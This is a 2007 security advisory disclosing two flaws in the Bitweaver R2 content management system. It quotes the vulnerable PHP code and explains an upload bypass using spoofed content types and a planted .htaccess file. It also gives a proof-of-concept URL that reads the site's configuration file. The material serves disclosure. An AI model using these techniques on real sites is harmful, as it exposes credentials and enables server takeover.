Bitweaver source code disclosure, arbitrary file upload Dec 30 2007 12:04PM
admin bugreport ir

########################## WwW.BugReport.ir #########################
#
# AmnPardaz Security Research Team
#
# Title: Bitweaver R2 CMS
# Vendor: http://www.bitweaver.org
# Bugs: source code disclosure, arbitrary file upload
# Vulnerable Version: 2 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
################################################################

####################
- Description:
####################

Bitweaver is an open source content management system. Its speed and
power are ideal for large-scale community websites and corporate
applications, but it is simple enough for non-technical small site
users to set up and administrate.

####################
- Vulnerability:
####################

+--> arbitrary file upload

Code Snippet:

/fisheye/upload.php line#32-45

$i = 0;
foreach( array_keys( $_FILES ) as $key ) {
if( preg_match( '/(^image|pdf)/i', $_FILES[$key]['type'] ) ) {
$upImages[$key] = $_FILES[$key];
if( !empty( $_REQUEST['imagedata'][$i] ) ) {
$upData[$key] = $_REQUEST['imagedata'][$i];
} else {
$upData[$key] = array();
}
} elseif( !empty( $_FILES[$key]['tmp_name'] ) && !empty(
$_FILES[$key]['name'] ) ) {
$upArchives[$key] = $_FILES[$key];
}
$i++;
}

It's possible to upload arbitrary files with image/gif content-type
(this can be changed via local proxy or direct content altertion)
also its possible for an attacker to bypass "/storage/.htaccess"
restriction by uploadding his own .htaccess and control server settings.

+-->source code disclosure

Code Snippet:

/wiki/edit.php line#179-195

if( isset( $_REQUEST["suck_url"] ) ) {
// Suck another page and append to the end of current
require_once( UTIL_PKG_PATH.'htmlparser/html_parser_inc.php' );
$suck_url = isset( $_REQUEST["suck_url"] ) ? $_REQUEST["suck_url"] : '';
$parsehtml = isset( $_REQUEST["parsehtml"] ) ? (
$_REQUEST["parsehtml"] == 'on' ? 'y' : 'n' ): 'n';
if( isset( $_REQUEST['do_suck'] ) && strlen( $suck_url ) > 0 ) {
.
.
.
$sdta = @file_get_contents( $suck_url );

POC:
http://localhost/bitweaver/wiki/edit.php?page=SandBox&suck_url=./../kern
el/config_inc.php&do_suck=h

####################
- Credit :
####################
Original Advisory:http://www.bugreport.ir/?/24
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

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